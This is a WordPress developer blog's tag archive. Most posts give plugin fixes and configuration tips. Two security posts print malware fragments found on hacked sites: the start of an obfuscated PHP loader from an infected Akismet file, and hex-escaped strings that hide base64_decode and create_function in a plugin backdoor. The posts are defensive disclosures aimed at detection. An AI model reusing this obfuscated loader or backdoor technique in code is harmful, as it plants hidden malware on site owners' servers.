Tag Archives: wordpress

WordPress: Mutiple Youtube Embeds

You need to use shortcodes to have multiple WordPress embeds in a single post. See the examples below: This won’t work: Part 1 http:///www.youtube.com/watch?v=n7KQ4vkiNUk Part 2 http:///www.youtube.com/watch?v=3qmtwa1yZRM Part 3 http:///www.youtube.com/watch?v=-hidvElQ0xE Part 4 http:///www.youtube.com/watch?v=9blgOboiGMQ NPR’s Scott Simon: How to Tell a Story http:///www.youtube.com/watch?v=tiX_WNdJu6w This will work (you must use shortcodes): Part 1 [youtubes=http://www.youtube.com/watch?v=n7KQ4vkiNUk] Part 2 [youtubes=http://www.youtube.com/watch?v=3qmtwa1yZRM] Part 3 [youtubes=http://www.youtube.com/watch?v=-hidvElQ0xE] Part 4 [youtubes=http://www.youtube.com/watch?v=9blgOboiGMQ] NPR’s Scott Simon: How to Tell a Story [youtubes=http://www.youtube.com/watch?v=tiX_WNdJu6w] WordPress states: To quickly embed a YouTube video, simply copy the video’s URL from your web browser’s address bar while viewing the video: For more information see http:///en.support.wordpress.com/videos/youtube/ NOTE To make the code compatible with this post I have changed http:// to http:/// in the first section and youtube to youtubes in the second section. Please change accordingly.

Posted in Tech Tips, Web Development | Tagged , , , | Leave a comment

WooThemes Graphic Designer

The WooThemes Graphic Designer team consistently does a nice job of getting their message across. They obviously have a strong background in visual communication. Take for example their simple message promoting a new product:

Posted in Design, Web Development | Tagged , , , , , | Leave a comment

Understanding WordPress’ add_image_size (with examples)

WordPress’s add_image_size function can be a little tricky to master, especially understanding how the cropping and resizing works. I’ve dedicated a blog entry to explaining how the images are cropped on an image that is larger than the maximum size, and below are the results. The WordPress documentation for the add_image_size() function has the following components: Usage < ?php add_image_size( $name, $width, $height, $crop ); ?> Parameters $name (string) (required) The new image size name. Default: None $width (int) (optional) The post thumbnail width in pixels. Default: 0 $height (int) (optional) The post thumbnail height in pixels. Default: 0 $crop (boolean) (optional) Crop the image or not. False – Soft proportional crop mode ; True – Hard crop mode. Default: false Original Image (404w x 1587h) Next, the original image, which is 404w by 1587h. Soft Crop, Very Tall Height This results in a proportional image that is 185w by 726h. In this case the image is limited by it’s width, 185px. add_image_size( ‘feature’, 185, 1200, false ); Soft Crop, Normal Height This results in a proportional image that is 54w by 215h. The image is limited by the height. add_image_size( ‘feature1′, 185, 215, false ); Hard Crop, Very Tall Height This results in a disproportionate image which is exactly 185 x 1200, but the edges of the image are lost. This works semi-ok here but would not be good if we were uploading a logo, something with text, or a person with important features on the edges of the … Continue reading

Posted in Tech Tips, Web Development | Tagged , , , , | Leave a comment

Fix “Post Types Order” plugin error with HTTPS

The WordPress Plugin Post Types Order by NSP CODE is helpful in as it allows you to Order Posts and Post Types Objects using a Drag and Drop Sortable javascript capability But unfortunately the plugin does not work with wordpress HTTPS / SSL admin – or at least not without errors: But the good news is that there is an easy fix with changing just a few lines of code: At the top of the post-types-order.php page there are two constant definitions: define(‘CPTPATH’, ABSPATH.’wp-content/plugins/post-types-order’); define(‘CPTURL’, get_option(‘siteurl’).’/wp-content/plugins/post-types-order’); And the second one needs to use the plugins_url() function that WordPress recommends instead: define(‘CPTPATH’, ABSPATH.’wp-content/plugins/post-types-order’); define(‘CPTURL’, plugins_url().’/post-types-order’); After that you should stop receiving the HTTPS error for some insecure content when you are in the WP administration interface.

Posted in Tech Tips, Web Development | Tagged , , , , , | Leave a comment

WordPress: Change Insert Link (list) to use short permalinks with post ID

in wp-includes/class-wp-editor.php, change the line that has the permalink from ‘permalink’ => get_permalink( $post->ID ), to ‘permalink’ => ‘/?p=’.$post->ID, That was line 749 in version 3.3 beta 1 function wp_link_query( $args = array() ) { $pts = get_post_types( array( ‘public’ => true ), ‘objects’ ); $pt_names = array_keys( $pts ); $query = array( ‘post_type’ => $pt_names, ‘suppress_filters’ => true, ‘update_post_term_cache’ => false, ‘update_post_meta_cache’ => false, ‘post_status’ => ‘publish’, ‘order’ => ‘DESC’, ‘orderby’ => ‘post_date’, ‘posts_per_page’ => 20, ); $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1; if ( isset( $args['s'] ) ) $query['s'] = $args['s']; $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] – 1 ) : 0; // Do main query. $get_posts = new WP_Query; $posts = $get_posts->query( $query ); // Check if any posts were found. if ( ! $get_posts->post_count ) return false; // Build results. $results = array(); foreach ( $posts as $post ) { if ( ‘post’ == $post->post_type ) $info = mysql2date( __( ‘Y/m/d’ ), $post->post_date ); else $info = $pts[ $post->post_type ]->labels->singular_name; $results[] = array( ‘ID’ => $post->ID, ‘title’ => trim( esc_html( strip_tags( get_the_title( $post ) ) ) ), ‘permalink’ => ‘/?p=’.$post->ID, ‘info’ => $info, ); } return $results; }

Posted in Web Development | Tagged | Leave a comment

Breadcrumb NavXT: Remove category

If you’re using the breadcrumb navxt plugin and trying to remove categories from showing up, such as Home -> Blog -> Uncategorized -> Post Title (a common request), you have to do a bit of trickery to accomplish this. You can either add a class to the category breadcrumb and style it accordingly in CSS, or you can just hide it all together. To add a CSS class, you will go to the Breadcrumbs Nav XT options page and add a class: If you want to hide it all together, add style=”display:none;” instead:

Posted in Tech Opinion, Web Development | Tagged , , , | Leave a comment

Akismet Hacked

If your WordPress site has been compromised, try checking out your Akismet plugin. It’s so commonly used that its often subject to attacks. If any of these files are showing up in your plugins folder, you may be the subject of an attack: .akismet.cache.php .akismet.bak.php .akismet.old.php class-akismet.php db-akismet.php One akismet.php file that I found started out something like this: <?php if (!function_exists(“TC9A16C47DA8EEE87″)) { function TC9A16C47DA8EEE87($T059EC46CFE335260) { $T059EC46CFE335260 = base64_decode($T059EC46CFE335260); $TC9A16C47DA8EEE87 = 0; $TA7FB8B0A1C0E2E9E = 0; $T17D35BB9DF7A47E4 = 0; $T65CE9F6823D588A7 = (ord($T059EC46CFE335260[1]) << 8) + ord($T059EC46CFE335260[2]); $TBF14159DC7D007D3 = 3; $T77605D5F26DD5248 = 0; $T4A747C3263CA7A55 = 16; $T7C7E72B89B83E235 = “”; $T0D47BDF6FD9DDE2E = strlen($T059EC46CFE335260); $T43D5686285035C13 = __FILE__; $T43D5686285035C13 = file_get_contents($T43D5686285035C13); $T6BBC58A3B5B11DC4 = 0; preg_match(base64_decode(“LyhwcmludHxzcHJpbnR8ZWNobykv”), $T43D5686285035C13, $T6BBC58A3B5B11DC4); for (;$TBF14159DC7D007D3 < $T0D47BDF6FD9DDE2E;) { if (count($T6BBC58A3B5B11DC4)) exit; if ($T4A747C3263CA7A55 == 0) { $T65CE9F6823D588A7 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8); $T65CE9F6823D588A7+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]); $T4A747C3263CA7A55 = 16; } if ($T65CE9F6823D588A7 & 0×8000) { $TC9A16C47DA8EEE87 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 4); $TC9A16C47DA8EEE87+= (ord($T059EC46CFE335260[$TBF14159DC7D007D3]) >> 4); if ($TC9A16C47DA8EEE87) { $TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) & 0x0F) + 3; for ($T17D35BB9DF7A47E4 = 0;$T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E4++) $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4] = $T7C7E72B89B83E235[$T77605D5F26DD5248 - $TC9A16C47DA8EEE87 + $T17D35BB9DF7A47E4]; $T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E; } else { $TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8); $TA7FB8B0A1C0E2E9E+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) + 16; for ($T17D35BB9DF7A47E4 = 0;$T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4++] = $T059EC46CFE335260[$TBF14159DC7D007D3]); $TBF14159DC7D007D3++; $T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E; } } else $T7C7E72B89B83E235[$T77605D5F26DD5248++] = $T059EC46CFE335260[$TBF14159DC7D007D3++]; $T65CE9F6823D588A7 <<= 1; $T4A747C3263CA7A55–; if ($TBF14159DC7D007D3 == $T0D47BDF6FD9DDE2E) { $T43D5686285035C13 = implode(“”, $T7C7E72B89B83E235); $T43D5686285035C13 = “?” . “>” . $T43D5686285035C13; return $T43D5686285035C13; } } } }; ?> If you want the PHP code, which is obfuscated, for the akismet.php file I came … Continue reading

Posted in Security, Web Development | Tagged , , , | Leave a comment

Multiple Post Thumbnails Plugin Broken (and Fixed)

The Multiple Post Thumbnails plugin is not working for me using WP 3.2.1. Apparently the function can not determine the ID of the related post with the current setup, that happens around line 190, “public static function get_the_post_thumbnail” My proposed solution is to change this: global $id; $post_id = (NULL === $post_id) ? $id : $post_id; to this: global $id; global $post; $post_id = (NULL === $post_id) ? $id : $post_id; if(!$post_id){ if(!empty($post->ID)){ $post_id = $post->ID; } } It’s not 100% clean but it’s fairly easy to read and it work for me.

Posted in Web Development | Tagged , , | 1 Comment

How To Reset Permissions after using WordPress “Members” plugin

You may have noticed while using the WordPress Members plugin a certain disclaimer: Any changes you make to users and roles using this feature are permanent changes. What I mean by this is that if you deactivate or uninstall this plugin, the changes won’t revert to their previous state. This plugin merely provides a user interface for you to make changes directly to your WordPress database. Please use this feature wisely. There is in fact a fairly comprehensive guide that comes with the plugin, but it does not talk about how to revert changes. Well, after a little digging I’ve realized that the plugin mainly edits a database entry called “wp_user_roles.” I did a fresh install of WordPress 3.1RC2 and grabbed the value of that database entry, which is serialized. The result was this: a:5:{s:13:”administrator”;a:2:{s:4:”name”;s:13:”Administrator”;s:12:”capabilities”;a:62:{s:13:”switch_themes”;b:1;s:11:”edit_themes”;b:1;s:16:”activate_plugins”;b:1;s:12:”edit_plugins”;b:1;s:10:”edit_users”;b:1;s:10:”edit_files”;b:1;s:14:”manage_options”;b:1;s:17:”moderate_comments”;b:1;s:17:”manage_categories”;b:1;s:12:”manage_links”;b:1;s:12:”upload_files”;b:1;s:6:”import”;b:1;s:15:”unfiltered_html”;b:1;s:10:”edit_posts”;b:1;s:17:”edit_others_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:10:”edit_pages”;b:1;s:4:”read”;b:1;s:8:”level_10″;b:1;s:7:”level_9″;b:1;s:7:”level_8″;b:1;s:7:”level_7″;b:1;s:7:”level_6″;b:1;s:7:”level_5″;b:1;s:7:”level_4″;b:1;s:7:”level_3″;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:17:”edit_others_pages”;b:1;s:20:”edit_published_pages”;b:1;s:13:”publish_pages”;b:1;s:12:”delete_pages”;b:1;s:19:”delete_others_pages”;b:1;s:22:”delete_published_pages”;b:1;s:12:”delete_posts”;b:1;s:19:”delete_others_posts”;b:1;s:22:”delete_published_posts”;b:1;s:20:”delete_private_posts”;b:1;s:18:”edit_private_posts”;b:1;s:18:”read_private_posts”;b:1;s:20:”delete_private_pages”;b:1;s:18:”edit_private_pages”;b:1;s:18:”read_private_pages”;b:1;s:12:”delete_users”;b:1;s:12:”create_users”;b:1;s:17:”unfiltered_upload”;b:1;s:14:”edit_dashboard”;b:1;s:14:”update_plugins”;b:1;s:14:”delete_plugins”;b:1;s:15:”install_plugins”;b:1;s:13:”update_themes”;b:1;s:14:”install_themes”;b:1;s:11:”update_core”;b:1;s:10:”list_users”;b:1;s:12:”remove_users”;b:1;s:9:”add_users”;b:1;s:13:”promote_users”;b:1;s:18:”edit_theme_options”;b:1;s:13:”delete_themes”;b:1;s:6:”export”;b:1;}}s:6:”editor”;a:2:{s:4:”name”;s:6:”Editor”;s:12:”capabilities”;a:34:{s:17:”moderate_comments”;b:1;s:17:”manage_categories”;b:1;s:12:”manage_links”;b:1;s:12:”upload_files”;b:1;s:15:”unfiltered_html”;b:1;s:10:”edit_posts”;b:1;s:17:”edit_others_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:10:”edit_pages”;b:1;s:4:”read”;b:1;s:7:”level_7″;b:1;s:7:”level_6″;b:1;s:7:”level_5″;b:1;s:7:”level_4″;b:1;s:7:”level_3″;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:17:”edit_others_pages”;b:1;s:20:”edit_published_pages”;b:1;s:13:”publish_pages”;b:1;s:12:”delete_pages”;b:1;s:19:”delete_others_pages”;b:1;s:22:”delete_published_pages”;b:1;s:12:”delete_posts”;b:1;s:19:”delete_others_posts”;b:1;s:22:”delete_published_posts”;b:1;s:20:”delete_private_posts”;b:1;s:18:”edit_private_posts”;b:1;s:18:”read_private_posts”;b:1;s:20:”delete_private_pages”;b:1;s:18:”edit_private_pages”;b:1;s:18:”read_private_pages”;b:1;}}s:6:”author”;a:2:{s:4:”name”;s:6:”Author”;s:12:”capabilities”;a:10:{s:12:”upload_files”;b:1;s:10:”edit_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:4:”read”;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:12:”delete_posts”;b:1;s:22:”delete_published_posts”;b:1;}}s:11:”contributor”;a:2:{s:4:”name”;s:11:”Contributor”;s:12:”capabilities”;a:5:{s:10:”edit_posts”;b:1;s:4:”read”;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:12:”delete_posts”;b:1;}}s:10:”subscriber”;a:2:{s:4:”name”;s:10:”Subscriber”;s:12:”capabilities”;a:2:{s:4:”read”;b:1;s:7:”level_0″;b:1;}}} Or via a textarea element: a:5:{s:13:”administrator”;a:2:{s:4:”name”;s:13:”Administrator”;s:12:”capabilities”;a:62:{s:13:”switch_themes”;b:1;s:11:”edit_themes”;b:1;s:16:”activate_plugins”;b:1;s:12:”edit_plugins”;b:1;s:10:”edit_users”;b:1;s:10:”edit_files”;b:1;s:14:”manage_options”;b:1;s:17:”moderate_comments”;b:1;s:17:”manage_categories”;b:1;s:12:”manage_links”;b:1;s:12:”upload_files”;b:1;s:6:”import”;b:1;s:15:”unfiltered_html”;b:1;s:10:”edit_posts”;b:1;s:17:”edit_others_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:10:”edit_pages”;b:1;s:4:”read”;b:1;s:8:”level_10″;b:1;s:7:”level_9″;b:1;s:7:”level_8″;b:1;s:7:”level_7″;b:1;s:7:”level_6″;b:1;s:7:”level_5″;b:1;s:7:”level_4″;b:1;s:7:”level_3″;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:17:”edit_others_pages”;b:1;s:20:”edit_published_pages”;b:1;s:13:”publish_pages”;b:1;s:12:”delete_pages”;b:1;s:19:”delete_others_pages”;b:1;s:22:”delete_published_pages”;b:1;s:12:”delete_posts”;b:1;s:19:”delete_others_posts”;b:1;s:22:”delete_published_posts”;b:1;s:20:”delete_private_posts”;b:1;s:18:”edit_private_posts”;b:1;s:18:”read_private_posts”;b:1;s:20:”delete_private_pages”;b:1;s:18:”edit_private_pages”;b:1;s:18:”read_private_pages”;b:1;s:12:”delete_users”;b:1;s:12:”create_users”;b:1;s:17:”unfiltered_upload”;b:1;s:14:”edit_dashboard”;b:1;s:14:”update_plugins”;b:1;s:14:”delete_plugins”;b:1;s:15:”install_plugins”;b:1;s:13:”update_themes”;b:1;s:14:”install_themes”;b:1;s:11:”update_core”;b:1;s:10:”list_users”;b:1;s:12:”remove_users”;b:1;s:9:”add_users”;b:1;s:13:”promote_users”;b:1;s:18:”edit_theme_options”;b:1;s:13:”delete_themes”;b:1;s:6:”export”;b:1;}}s:6:”editor”;a:2:{s:4:”name”;s:6:”Editor”;s:12:”capabilities”;a:34:{s:17:”moderate_comments”;b:1;s:17:”manage_categories”;b:1;s:12:”manage_links”;b:1;s:12:”upload_files”;b:1;s:15:”unfiltered_html”;b:1;s:10:”edit_posts”;b:1;s:17:”edit_others_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:10:”edit_pages”;b:1;s:4:”read”;b:1;s:7:”level_7″;b:1;s:7:”level_6″;b:1;s:7:”level_5″;b:1;s:7:”level_4″;b:1;s:7:”level_3″;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:17:”edit_others_pages”;b:1;s:20:”edit_published_pages”;b:1;s:13:”publish_pages”;b:1;s:12:”delete_pages”;b:1;s:19:”delete_others_pages”;b:1;s:22:”delete_published_pages”;b:1;s:12:”delete_posts”;b:1;s:19:”delete_others_posts”;b:1;s:22:”delete_published_posts”;b:1;s:20:”delete_private_posts”;b:1;s:18:”edit_private_posts”;b:1;s:18:”read_private_posts”;b:1;s:20:”delete_private_pages”;b:1;s:18:”edit_private_pages”;b:1;s:18:”read_private_pages”;b:1;}}s:6:”author”;a:2:{s:4:”name”;s:6:”Author”;s:12:”capabilities”;a:10:{s:12:”upload_files”;b:1;s:10:”edit_posts”;b:1;s:20:”edit_published_posts”;b:1;s:13:”publish_posts”;b:1;s:4:”read”;b:1;s:7:”level_2″;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:12:”delete_posts”;b:1;s:22:”delete_published_posts”;b:1;}}s:11:”contributor”;a:2:{s:4:”name”;s:11:”Contributor”;s:12:”capabilities”;a:5:{s:10:”edit_posts”;b:1;s:4:”read”;b:1;s:7:”level_1″;b:1;s:7:”level_0″;b:1;s:12:”delete_posts”;b:1;}}s:10:”subscriber”;a:2:{s:4:”name”;s:10:”Subscriber”;s:12:”capabilities”;a:2:{s:4:”read”;b:1;s:7:”level_0″;b:1;}}} You can deactivate the plugin, backup your database, and tren try changing the wp_user_roles value of the wp_options table back to said value.

Posted in Web Development | Tagged , , | Leave a comment

Accutane WordPress Hack

If your wordpress site is showing “Buy Accutane Online” in the Google Results, it’s because one of the plugins you’re using is not safe. One plugin know for this exploit is the “My Page Order” plugin by geekyweekly. I’d suggest removing the plugin all together. You’ll notice that the source code is clean, if you view it, as the plugin only affects the page when the Google bot is viewing it. The function is using two strings of binary character values: $unique_id = “\x62\x61s\x65\x36\x34\x5f\x64\x65c\x6f\x64\x65″ $unique_hash = “\x63\x72e\x61\x74\x65\x5f\x66\x75\x6ec\x74\x69\x6f\x6e” Those translate into base64_decode and create_function respectively, which are two functions you don’t want to see in any plugin or theme, they are usually responsible for maladies. You should also check your server logs for “wxdGrgPB” as that is the post/get variable used to send malicious commands to this script.

Posted in Tech Tips, Web Development | Tagged , | Leave a comment